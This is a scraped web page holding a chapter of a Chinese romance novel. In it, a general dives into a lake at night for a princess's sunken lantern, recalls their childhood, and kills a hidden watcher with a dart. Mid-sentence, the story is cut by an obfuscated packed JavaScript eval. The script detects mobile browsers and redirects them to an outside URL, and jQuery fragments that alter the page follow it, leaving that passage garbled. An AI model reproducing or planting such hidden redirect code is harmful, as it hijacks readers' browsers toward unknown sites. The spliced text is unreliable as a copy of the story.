默认冷灰
24号文字
方正启体

25. 花灯

作者:晴海千花本书字数:K更新时间:
    子夜时分,东安湖。


    寂寂夜色里,广阔的湖面映着远山黛影,静得像一卷铺陈天地间的泼墨山水画,偶有一阵微风卷过,为这天然画幅又添上几笔水波纹的涂鸦。


    连带着湖畔那个身影的发梢也在微风中恣意飞扬。


    陆惊澜环顾四周,东安湖湖面广阔,宽约十丈,成三面环抱之势,将一座造型雅致的三层露台将将好围住。


    夕照台,是东安湖临水观景的最佳去处,与横跨湖心的同心桥遥遥相望。


    八九不离十,也是她去年放花灯的地方。


    陆惊澜垂眸看了看满缠着纱布的右手,小声自言自语道:“殿下,对不起,臣必须要碰水了。”


    说罢,他的眸色暗了下去,几乎要隐进深沉的夜色中。


    他深吸一口气,两指并拢,抵在唇边,“咻——咻、咻。”三声。


    一长两短的呼哨声才落,两个鬼魅般的身影不知从何处窜出,如夜枭掠过,一个眨眼的功夫便恭敬跪在他面前。


    “将军请吩咐。”


    陆惊澜的目光微微垂下,对着两个心腹吩咐道:“在岸上守着,留心着四周的动静。”


    然后还不等心腹追问,他便纵身一跃,跳入湖中,再慢慢地沉下去,在湖底翻找起来。


    “这……”两个暗卫面面相觑,丈二和尚摸不着头脑,但还是遵照吩咐,仔细留意着四下里的动向。


    不过除了夜风拂动灌木丛的窸窣声,也没有旁的什么了。


    湖底比岸上更静,也更暗。


    天色太沉,今夜的月亦格外朦胧,要在这般昏暗的环境里找一盏残破的花灯,太难。


    他屏了一口长气,目光在湖底的淤泥上来来回回逡巡,但凡瞄到有一星半点儿相似的团影,还不等理智做出判断,手已经先一步伸了过去。


    可费劲力气挖出来的,大多是一些破铜烂铁,亦或是各色瓶瓶罐罐,和他想找的东西没一点儿关系。


    他在湖底潜了许久,手上翻找的动作越来越急躁,那口强撑着的气也越来越短,一种窒闷感渐渐在心口漫开。


    说不清是因为呼吸不畅,还是因为苦寻未果。


    “哗啦——”


    气息耗尽,陆惊澜猛地一蹬腿,半个身子霎时间便冲出了湖面,激得水面荡开一圈又一圈久久不散的涟漪,把好好的一幅静夜山水搅和成了“夜半惊澜”。


    他整个人湿漉漉地浮在湖上,大口大口地喘着气,方才的窒息感太过强烈,他的眼角不免染上几分绯红,原本在风中飘得肆意的墨发此刻全然湿透,紧紧地贴在一起,发梢上的水珠还滴答滴答地落在湖面,滴出一个又一个的小圈。


    两个心腹见状,没忍住上前问道:“将军要找什么,属下这就叫人来帮忙找。”


    “不必。”


    他面上掩不住的不悦,冷声拒绝了。


    她亲手放的花灯,自然得他亲手来捞,怎可假手他人。


    还不等暗卫再开口,陆惊澜又重新屏了口气,一头扎回了湖中,岸上的两人只能对着那个“咕嘟咕嘟”冒泡的圈儿直叹气,不知自家将军今日又着了什么魔。


    夜色更沉了些,陆惊澜已经在东安湖里浮浮沉沉了不知多少回,他飘在湖上,望着天边将沉的月色,心中反而不急了。


    罢了,无非是今夜再来一趟。


    他深深吸了口气,最后一次熟练地扎回湖中,身体再次自由地融入湖中时,他在水中灵活地穿梭游动,心里渐渐浮起一段往事。


    八岁那年的初夏,御花园的荷花开得正好。


    他入宫伴读已有大半年,起初的新鲜劲儿渐渐淡了,可那些他从来没听过的礼仪规矩却越来越多了,还有那些同为伴读的世家子们眼底眉梢透着的不屑,也越来越明显了。


    他正蹲在荷花池边发呆,数着今日会有几只蜻蜓落在荷花上。


    忽然听到身后一阵轻快的脚步伴着清脆的笑声而来。


    是她。


    她总是喜欢这般一边跑一边笑着扑蝶,额角沁出一层细密的汗珠也浑然不在意。


    他喜欢看她扑蝶,比看蜻蜓落在荷花上有意思。


    他那时候没起身,也没出声,就默默看着她被那只蝴蝶逗得忽左忽右,忽快忽慢,那双亮晶晶的眼睛一路追着那只蝴蝶,再看不见其他旁的东西。


    一阵微风恰在此时拂过,送来满池菡萏清香,引得那只蝴蝶忽地转了向,朝着他的方向直直扑来。


    当然,朝他直直扑来的也不止那只蝴蝶。


    “哎呀!”


    萧璟被蓦然出现的他吓了一大跳,收势不及,她努力挥舞着两只小手,可到底还是没有稳住身形。


    他只记得一声“噗通”。


    他们俩一起滚进了荷花池。


    水花四溅,惊得池中锦鲤四下乱窜,那只蝴蝶自然也不知去向。


    池中水不深,萧璟很快扑腾着爬了起来,轻轻巧巧地浮在水中,水不过堪堪到她腰间,她随意抹了把脸上的水,眼睛还四处张望着:“我的蝴蝶呢?”


    他倒是被吓得不轻,整个人倒栽进池中,又不会凫水,瞎扑腾了好半天才将脑袋露出池面,眼眶便忍不住又红了。


    萧璟看着他满眼含泪,一副要掉不掉的模样,登时慌了,赶忙凑近了些问道:“你哭什么啊?”


    他没说话,可眼泪却没绷住,扑簌簌地直往下掉。


    身后已有宫人闻声赶来的脚步声,她更慌了,手忙脚乱地擦了擦他脸上的眼泪,又捧着他的脸,认真地望着他湿漉漉的眼睛:“陆惊澜你别哭了,你笑起来比较好看,真的!”


    哭声戛然而止。


    他愣住了,几滴泪珠还挂在睫毛上,却忍不住跟着她上扬的嘴角一起,绽开了一个笑。


    “对嘛,这样笑好看。”她趁热打铁,又笑得更灿烂了些。


    后来,当先帝闻讯而来,望着落汤鸡似的两人正要开口责问时,他忽然鬼使神差地抢先开口:“陛下,是臣失足跌入池中,公主…公主是来救臣才……”


    她被宫人用薄毯裹着,抱去更衣之前,那双清亮的眸子,一眨不眨地看了他很久。


    当夜,他就去找了教凫水的师傅。


    师傅看着他还红着眼睛,却摆出一副“我一定要学会”的架势,有些摸不着头脑:“今夜便要学会?这么急?”


    他坚定地点了点头。


    “为什么?”


    他沉默了一会儿,才小声道:“因为我怕她再撞我。”


    师傅笑了,开始教他。


    他学得很认真,一边在水里扑腾,一边在心里想。


    下次她再撞他的时候,他就不会哭了。


    他想笑着看她。


    因为,她说他笑起来好看。


    这般想着想着,陆惊澜的嘴角又忍不住向上勾起,他笑着扫视了一圈四周,依旧徒劳无功,正欲转身游走时,忽然感觉衣角被什么东西勾了一下。


    他回头望去,只见玄色锦袍的衣角正不偏不倚地挂在一根像是树枝样的东西上,他心头一颤,慌忙伸手去摸。


    那东西大半都嵌在淤泥中,他小心翼翼地将手探进淤泥里,先摸索出大概的轮廓,再一点一点地将它抠了出来。


    果然,是一个花灯骨架的残骸。


    湖底的光线还不甚明亮,他轻轻捧着那个残破的花灯骨架,急忙向水面上浮去。


    空气再次涌入胸腔之时,朦胧的月光也洒在那个他双手捧着的花灯骨架上,金漆墨竹,祥云图纹,是宫廷御制的样式没错了。


    陆惊澜欣喜极了,又心痛极了。


    花灯的绢纸早已被湖水泡发,连一丝残迹都寻不到,仅剩的骨架也塌了半边,摇摇欲坠。


    他慢慢地将这个残破的花灯架子转着看了好几圈,边看,指尖还边轻轻抚摸着中间那根撑起整个骨架的竹条。


    突然,指尖摸到一处有些粗糙的凸起。


    他指尖一顿,顺着望过去,是一个刻得歪歪扭扭的图案,在水里泡得时日长了,模糊不清,但仔细分辨之下,还是能依稀看出狼首的轮廓。


    他没忍住又摸了摸那个狼首图案,这般“粗制滥造”,一定不是宫中匠人的手艺。


    眼底忽然涌上一汪泪。


    两个暗卫好奇极了,视线也跟着聚拢了过来,其中一个眼睛尖些的,试探着问道:“这是……狗吗?”


    另一个立马掐了一把他的胳膊,瞪他一眼才笑着对陆惊澜道,“将军,这是咱们漠北军的狼首图腾吧?”


    陆惊澜没回答任何一个问题,不断有水滴顺着他湿答答的脸颊无声滑落,分不清是泪水还是湖水。


    风忽然静了,偌大的东安湖上,只能听见水珠打在湖面上的声音,滴答滴答,似在轻叹。


    从湖中到岸上,他的手指还一直不停地抚摸着那个刻得有些走形的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183900|193963||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    图案。


    “是,我以前画给她看过。”


    他又将花灯往怀里带了带,手上却不敢用力,生怕稍一加重力道,便会这来之不易的宝贝压坏了。


    他抬头望向夜空,想将那些尚未流出的眼泪倾倒回去。


    漆黑夜幕里,繁星点点。


    在漠北的那两年,他也常常在夜里这样看星星,找那颗最亮的,再对着它喃喃自语。


    两年时光,翻来覆去无非是那几句。


    “殿下,你今日骂太傅是个老古董了么?”


    他勾唇一笑,“肯定骂了。”


    他甚至能想象出,她是怎么双手叉腰,对着太傅布置的功课愁眉苦脸,嘴上还不饶人地怪人迂腐古板,活像是从四书五经里爬出来的。


    若是他还在,免不得要帮她罚抄,然后第二日因为字迹相差过大,被太傅一眼识破,两个人再一块儿挨骂。


    夜风呼啸而过,他又自语道,“殿下今日同三殿下去西郊纵马了吧?”


    边关秋风紧,掠起漫天黄沙,但京城的秋风温柔得多。


    秋日暖阳,金风飒飒,正是纵马寻欢的好时节,她喜欢在这样的时候纵马疾驰,踏碎一地金黄。


    他也爱跟在她身后,看她飞扬的发丝,恣意的背影,以及偶尔回头望他的笑颜,比天边赤红的晚霞还好看。


    他的声音忽然沉了,“殿下,你今日……有想起我吗?”


    每次刚一问出口,他便忍不住自己摇摇头,像是想把这个荒谬的想法甩出去,又像是在自问自答。


    ……


    今夜,再对着朗星遍布的夜空,他哭得更厉害了。


    萧璟,你那个时候,是不是有一点点喜欢我?


    可我什么也不知道,还在漠北数星星,猜哪一颗是你。


    我真傻。


    真的。


    他低头望着怀里的那盏花灯,眼泪汹涌而下。


    萧璟,我早该知道的,我早该捞起这盏花灯,我们早该……


    天意弄人,他竟迟了这么多年才知道。


    他眼眶通红,却抬头望天,将最后那几滴眼泪忍了回去,托着花灯的手悄悄攥成了拳。


    老天爷,是你弄沉了这盏灯。


    但没关系,我会捞起来。


    你看到了吗?


    我会捞起来。


    *


    天边泛起淡淡的青色,陆惊澜抱着花灯转身离去。


    湿透的衣袍沉甸甸的,他每走一步,地上便印出一个带着水痕的脚印。


    忽然,他脚下微微一迟疑。


    不对劲。


    夜风,虫鸣,掺杂着湿气的青草香,一切都没变。


    可他的后颈却突然爬上一层细密的寒栗。


    有人在盯着他。


    他没有回头,也没有停下脚步,只是微微转了转身子,调整了一下抱灯的姿势,右手托着花灯骨架,顺势摸上了胸口的位置。


    余光凛冽一扫。


    身后那片茂密的灌木丛里,露出一小块没藏好的衣角。


    他嘴角轻轻勾了一下。


    湿漉漉的发还凌乱地贴在侧脸上,有颗水珠顺着发梢滑下,正挂在他的下颌欲落未落之时,他猛然一个转身,右手如策马扬鞭那般,极快地从衣襟中抽了出来。


    那颗本该安静掉落的水珠被径直甩飞出去,眨眼间碎裂不见。


    一起甩出去的,还有一道冷冽的弧光。


    只听“咻”的一声。


    灌木丛中的黑影身形一僵,然后直直地栽倒在地。


    一枚飞镖精准地钉入了他的喉间,鲜血汩汩而出,他甚至来不及发出一声呜咽,便断了气。


    与此同时,另一侧隔得更远些的一处草丛中,一个黑影仓皇窜起,转身便逃。


    两个心腹飞速对视一眼,正欲追赶上去,陆惊澜忽然开口,声音轻柔,“不用追。”


    话音刚落,二人几个疾步已跳出数丈开外,被他这话硬生生控在原地,难以置信地转过身来。


    只见陆惊澜收回手,又搂了搂那盏花灯,眼皮都没抬,目光仍在那个狼首图案上打转。


    他的声音依旧很轻,像是在哄怀里的灯,“算是我给内兄的……最后一点「面子」。”


    夜风起,卷走了这句轻飘飘的话,也彻底带走了他给自己心底的那个恶念设下的重重禁锢。


    萧启,是你要见血的。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)